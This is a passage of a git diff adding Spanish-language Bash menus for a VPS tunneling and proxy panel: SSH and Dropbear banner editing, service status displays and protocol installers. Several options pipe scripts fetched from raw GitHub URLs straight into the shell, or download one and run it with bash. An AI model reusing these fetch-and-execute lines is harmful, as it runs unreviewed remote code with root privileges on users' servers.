+/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]"
+}
+} || echo -e "\033[0;35m [ $men ]"
+echo -ne " \033[1;31m[ ! ] VERIFICANDO SSH"
+service ssh restart > /dev/null 2>&1
+service sshd restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+sleep 0.1s
+exit
+}
+
+txt_font () {
+echo -e "\n\033[1;31m[\033[1;36m01\033[1;31m]\033[1;33m Letra Pequeña"
+echo -e "\033[1;31m[\033[1;36m02\033[1;31m]\033[1;33m Letra Media"
+echo -e "\033[1;31m[\033[1;36m03\033[1;31m]\033[1;33m Letra Grande"
+echo -e "\033[1;31m[\033[1;36m04\033[1;31m]\033[1;33m Letra ExtraGrande"
+echo ""
+echo -ne "\033[1;32mEscoje el Tamaño de Letra\033[1;31m ?\033[1;37m : "; read opc
+if [[ "$opc" = "1" ]] || [[ "$opc" = "01" ]]; then
+_size='6'
+elif [[ "$opc" = "2" ]] || [[ "$opc" = "02" ]]; then
+_size='4'
+elif [[ "$opc" = "3" ]] || [[ "$opc" = "03" ]]; then
+_size='3'
+elif [[ "$opc" = "4" ]] || [[ "$opc" = "04" ]]; then
+_size='1'
+else
+_size='6'
+fi
+msg -bar
+echo -ne "\033[1;37m"
+read -p " INGRESA TU MENSAJE : " ban_ner2
+msg -bar
+unset x
+echo -e "\033[1;42m Deseas centrar el contenido del banner\033[0;33m :v"
+echo ""
+echo -ne "\033[0;32m Responde [ s | n ] : " && read -e -i "s" x
+msg -bar
+[[ "$x" = @(s|S|y|Y) ]] && echo -e '' >> /etc/bannerssh
+echo -e " \033[1;31m[ 1 ]\033[1;33m > VERDE \033[1;31m[ 9 ]\033[1;33m > AZUL PIZARRA OSCURO"
+echo -e " \033[1;31m[ 2 ]\033[1;33m > ROJO \033[1;31m[ 10 ]\033[1;33m > MAGENTA"
+echo -e " \033[1;31m[ 3 ]\033[1;33m > AZUL \033[1;31m[ 11 ]\033[1;33m > CHOCOLATE"
+echo -e " \033[1;31m[ 4 ]\033[1;33m > AMARILLO \033[1;31m[ 12 ]\033[1;33m > VERDE CLARO"
+echo -e " \033[1;31m[ 5 ]\033[1;33m > PURPURA \033[1;31m[ 13 ]\033[1;33m > GRIS"
+echo -e " \033[1;31m[ 6 ]\033[1;33m > Naranja \033[1;31m[ 14 ]\033[1;33m > VERDE MAR"
+echo -e " \033[1;31m[ 7 ]\033[1;33m > Crema \033[1;31m[ 15 ]\033[1;33m > CIAN OSCURO"
+echo -e " \033[1;31m[ 8 ]\033[1;33m > Cyano \033[1;31m[ * ]\033[1;33m > Negro"
+read -p " Digite A Cor [ 1 ⇿ 15 ]: " ban_ner2_cor
+if [[ "$ban_ner2_cor" = "1" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner2_cor" = "2" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner2_cor" = "3" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner2_cor" = "4" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner2_cor" = "5" ]]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "6" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "7" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "8" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "9" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "10" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "11" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "12" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "13" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "14" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner2_cor" = "15" ]; then
+echo '' >> /etc/bannerssh
+else
+echo '' >> /etc/bannerssh
+fi
+echo "$ban_ner2" >> /etc/bannerssh
+echo "" >> /etc/bannerssh
+[[ "$x" = @(s|S|y|Y) ]] && echo "
" >> /etc/bannerssh
+}
+
+function_7 () {
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+msg -bar
+echo -e "${cor[2]}MENU BANNER (RECOMENDADO 2):
+ $(msg -bar)"
+ echo -e "\033[0;35m [\033[0;36m01\033[0;35m]\033[0;31m >${cor[3]} Pegar BANNER Personalizado ( html , etc )"
+ echo -e "\033[0;35m [\033[0;36m02\033[0;35m]\033[0;31m >${cor[3]} AGREGAR MENSAJES BANNER SSH"
+ echo -e "\033[0;35m [\033[0;36m03\033[0;35m]\033[0;31m >${cor[3]} ELIMINAR BANNER ( SSH ⇿ DROPBEAR )"
+ msg -bar
+ echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m > $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 3)
+case ${selection} in
+1)
+unset sshsn
+unset sin_nao
+echo -e " Al escojer que coloques tu Banner creado fuera del Script, ADM no se "
+echo -e " Responsabiliza por el Fallo de ciertos recursos del SISTEMA"
+echo -e "RECUERDA QUE EL SCRIPT ESTA REALIZADO PARA FUNCIONAR CON SUS FUNCIONES"
+echo -e " Y esta es EXPERIMENTAL"
+echo -e "Esta SEGURO de usar esta funcion ?:"
+read -p " [S/N]: " -e -i n sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+local2="/etc/bannerssh"
+chk=$(cat /etc/ssh/sshd_config | grep Banner)
+if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then
+local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}')
+ else
+echo "Banner /etc/bannerssh" >> /etc/ssh/sshd_config
+local="/etc/bannerssh"
+fi
+while true; do
+echo -e " ESTAS SEGURO QUE TIENES TU BANNER BIEN ESTRUCTURADO "
+read -p " [ s | n ]: " sin_nao
+ if [[ "$sin_nao" = @(s|S|y|Y) ]]; then
+ ban_per
+ elif [[ "$sin_nao" = @(n|N) ]]; then
+ break
+ fi
+done
+}
+;;
+2)
+unset sshsn
+unset sin_nao
+echo -e "${cor[3]} Buena ELECCION, Tienes un 99% mas Garantia"
+echo -e "${cor[3]} Esta SEGURO:"
+read -p " [S/N]: " -e -i s sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+local2="/etc/bannerssh"
+chk=$(cat /etc/ssh/sshd_config | grep Banner)
+if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then
+local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}')
+ else
+echo "Banner /etc/bannerssh" >> /etc/ssh/sshd_config
+local="/etc/bannerssh"
+fi
+msg -bar
+echo -e "\n\033[1;31m[\033[1;36m01\033[1;31m]\033[1;33m Letra Pequeña"
+echo -e "\033[1;31m[\033[1;36m02\033[1;31m]\033[1;33m Letra Media"
+echo -e "\033[1;31m[\033[1;36m03\033[1;31m]\033[1;33m Letra Grande"
+echo -e "\033[1;31m[\033[1;36m04\033[1;31m]\033[1;33m Letra ExtraGrande"
+echo ""
+echo -ne "\033[1;32mEscoje el Tamaño de Letra\033[1;31m ?\033[1;37m : "; read opc
+if [[ "$opc" = "1" ]] || [[ "$opc" = "01" ]]; then
+_size='6'
+elif [[ "$opc" = "2" ]] || [[ "$opc" = "02" ]]; then
+_size='4'
+elif [[ "$opc" = "3" ]] || [[ "$opc" = "03" ]]; then
+_size='3'
+elif [[ "$opc" = "4" ]] || [[ "$opc" = "04" ]]; then
+_size='1'
+else
+_size='6'
+fi
+msg -bar
+echo -ne "\033[1;37m"
+read -p " INGRESA TU MENSAJE : " ban_ner
+msg -bar
+echo -e " \033[1;31m[ 1 ]\033[1;33m > VERDE \033[1;31m[ 9 ]\033[1;33m > AZUL PIZARRA OSCURO"
+echo -e " \033[1;31m[ 2 ]\033[1;33m > ROJO \033[1;31m[ 10 ]\033[1;33m > MAGENTA"
+echo -e " \033[1;31m[ 3 ]\033[1;33m > AZUL \033[1;31m[ 11 ]\033[1;33m > CHOCOLATE"
+echo -e " \033[1;31m[ 4 ]\033[1;33m > AMARILLO \033[1;31m[ 12 ]\033[1;33m > VERDE CLARO"
+echo -e " \033[1;31m[ 5 ]\033[1;33m > PURPURA \033[1;31m[ 13 ]\033[1;33m > GRIS"
+echo -e " \033[1;31m[ 6 ]\033[1;33m > Naranja \033[1;31m[ 14 ]\033[1;33m > VERDE MAR"
+echo -e " \033[1;31m[ 7 ]\033[1;33m > Crema \033[1;31m[ 15 ]\033[1;33m > CIAN OSCURO"
+echo -e " \033[1;31m[ 8 ]\033[1;33m > Cyano \033[1;31m[ * ]\033[1;33m > Negro"
+read -p " [ 1 ⇿ 15 ]: " ban_ner_cor
+unset local
+unset x
+echo -e "\033[1;42m Deseas centrar el contenido del banner\033[0;33m :v"
+echo ""
+echo -ne "\033[0;32m Responde [ s | n ] : " && read -e -i "s" x
+msg -bar
+[[ "$x" = @(s|S|y|Y) ]] && echo -e '' > /etc/bannerssh
+if [[ "$ban_ner_cor" = "1" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner_cor" = "2" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner_cor" = "3" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner_cor" = "4" ]]; then
+echo '' >> /etc/bannerssh
+elif [[ "$ban_ner_cor" = "5" ]]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "6" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "7" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "8" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "9" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "10" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "11" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "12" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "13" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "14" ]; then
+echo '' >> /etc/bannerssh
+elif [ "$ban_ner_cor" = "15" ]; then
+echo '' >> /etc/bannerssh
+else
+echo '' >> /etc/bannerssh
+fi
+echo "$ban_ner" >> /etc/bannerssh
+echo '' >> /etc/bannerssh
+[[ "$x" = @(s|S|y|Y) ]] && echo "
" >> /etc/bannerssh
+while true; do
+echo -e " DESEAS AÑADIR MAS TEXTOS A TU BANNER?"
+read -p " [ s | n ]: " sin_nao
+ if [[ "$sin_nao" = @(s|S|y|Y) ]]; then
+ txt_font
+ elif [[ "$sin_nao" = @(n|N) ]]; then
+ break
+ fi
+done
+[[ -e /root/name ]] && credi=$(cat < /root/name) || credi="@ChumoGH"
+credit=$(cat < /bin/ejecutar/menu_credito | head -1)
+echo -e ''" $credit "'® | '"$credi"'
' >> /etc/bannerssh
+#echo '© 2020 ChumoGH, ®' >> /etc/bannerssh
+[[ -d /etc/dropbear ]] && {
+[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner
+} || men="NO EXISTE DROPBEAR"
+msg -bar
+echo -ne " \033[1;31m[ ! ] VERIFICANDO DROPBEAR "
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && {
+/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || {
+echo -e "\033[1;31m ▢ BANNER INCOMPATIBLE CON DROPBEAR -\n" && echo "DESTRUYENDO DISEÑO"
+echo "" > /etc/dropbear/banner
+/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]"
+}
+} || echo -e "\033[0;35m [ $men ]"
+echo -ne " \033[1;31m[ ! ] VERIFICANDO SSH "
+service ssh restart > /dev/null 2>&1
+service sshd restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+}
+return 0
+;;
+3)
+echo "Verificando existencia de BANNER"
+echo ""
+[[ -e /etc/bannerssh ]] && {
+ echo "DESTRUYENDO BANNER SSH "
+ echo "" > /etc/bannerssh
+ } || echo "NO EXISTE BANNER DROPBEAR ESTRUCTURADO"
+ [[ -e /etc/dropbear/banner ]] && {
+ echo "DESTRUYENDO BANNER DROPBEAR "
+ echo "" > /etc/dropbear/banner
+ } || echo "NO EXISTE BANNER SSH ESTRUCTURADO"
+ return 0
+;;
+*)
+echo "LO SENTIMOS DIGITASTE MAL"
+sleep 0.1s
+return 0
+;;
+esac
+#TERMINA CASE
+}
+
+meu-v2ray () {
+
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+tput cuu1 && tput dl1
+
+msg -bar
+echo -e "\e[97m\033[1;41m PROYECTOS V2RAY REFACTORIZADO By @ChumoGH 11-12-2022 \033[0m"
+msg -bar
+echo -ne "\033[1;37m
+ 1)- V2ray Manager UNIVERSAL
+ 2)- V2ray Manager by @Rufu99
+$(msg -bar)
+ 0)- Salir \n" | lolcat
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+1)
+[[ ! -z $(which v2ray.menu) ]] && v2ray.menu || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh)
+;;
+2)
+[[ ! -z $(which v2r.sh) ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray_manager.sh)
+;;
+0)
+return 0
+;;
+esac
+}
+
+ssrmenu () {
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh)
+}
+
+selection=$(selection_fun 14)
+case ${selection} in
+1)
+cd /etc/scpdk1/ && fun_us
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+2)
+cd /etc/scpdk1/ && function_2
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+3)
+cd /etc/scpdk1/ && function_3
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+4)
+cd /etc/scpdk1/ && function_4
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+5)
+cd /etc/scpdk1/ && function_5
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+6)
+cd /etc/scpdk1/ && function_7
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+7)
+cd /etc/scpdk1/ && net_meter
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+8)
+cd /etc/scpdk1/ && block_user
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+9)
+cd /etc/scpdk1/ && recuva1
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+10)
+cd /etc/scpdk1/ && ssrmenu
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+11)
+cd /etc/scpdk1/ && meu-v2ray
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+12)
+cd /etc/scpdk1/ && consul_cli
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+13)
+#[[ ! -z $(which troj.sh) ]] && troj.sh || echo -e " NO SE HA HABILITADO ACCESO AL PANNEL"
+#echo -ne "${cor[5]}"
+#read -p " ¡Enter, para volver!"
+#source /etc/scpdk1/usercodes
+#;;
+#14)
+
+wget -q -O /tmp/instCHEKC.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/initcheck.sh && bash /tmp/instCHEKC.sh
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+;;
+14)
+_usCHECK
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+source /etc/scpdk1/usercodes
+
+;;
+esac
\ No newline at end of file
diff --git a/Lista/v-local.log b/Lista/v-local.log
deleted file mode 100644
index 5625e59..0000000
--- a/Lista/v-local.log
+++ /dev/null
@@ -1 +0,0 @@
-1.2
diff --git a/Lista/x b/Lista/x
new file mode 100755
index 0000000..1f65926
--- /dev/null
+++ b/Lista/x
@@ -0,0 +1,127 @@
+#!/bin/bash
+source `pwd`/msg
+while true; do
+#FUNCOES
+cor=("\033[0m" "\033[1;34m" "\033[1;32m" "\033[1;37m" "\033[1;36m" "\033[1;33" "\033[1;35m")
+unset squid dropbear openvpn stunel shadow telegran socks gettun tcpbypass webminn ddos v2ray
+_portbaSE="$(netstat -tunlp)"
+_ps="$(ps x)"
+tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]"
+pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+ if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then
+ echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] "
+ else
+ echo -e "\033[1;31m[OFF]"
+ fi
+fi`;
+
+xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || {
+ [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || {
+ [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] "
+ } || _pidUDP="\033[1;31m[OFF]"
+}
+slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ")
+slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]"
+[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]"
+[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]"
+[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]"
+[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]"
+[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]"
+[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]"
+[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]"
+[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]"
+[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]"
+[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]"
+[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]"
+[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]"
+ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'`
+[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m"
+[[ -d /usr/local/shadowsocksr ]] && {
+user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l )
+user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts"
+} || user_t="\033[1;31m[OFF]"
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] "
+[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]"
+[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]"
+[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]"
+tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2
+echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn"
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1"
+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh"
+echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP"
+echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!"
+msg -bar #msg -bar
+echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn"
+echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b"
+echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 20)
+case ${selection} in
+0) break;;
+1) fun_squid && read -p " Enter";;
+2) fun_dropbear && read -p " Enter";;
+3) fun_openvpn && read -p " Enter";;
+4) ssl_stunel && read -p " Enter";;
+5) fun_shadowsocks && read -p " Enter";;
+6) ssrmenu && read -p " Enter";;
+7) iniciarsocks && read -p " Enter";;
+8) v2ray-socket && read -p " Enter";;
+9) instala_clash && read -p " Enter";;
+10) trojan && read -p " Enter";;
+11) psix && read -p " Enter";;
+12) tcpd && read -p " Enter";;
+13) web_min && read -p " Enter";;
+14) slow-dns && read -p " Enter";;
+15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";;
+16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";;
+17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";;
+18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";;
+19) _funUDP && read -p " Enter";;
+20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";;
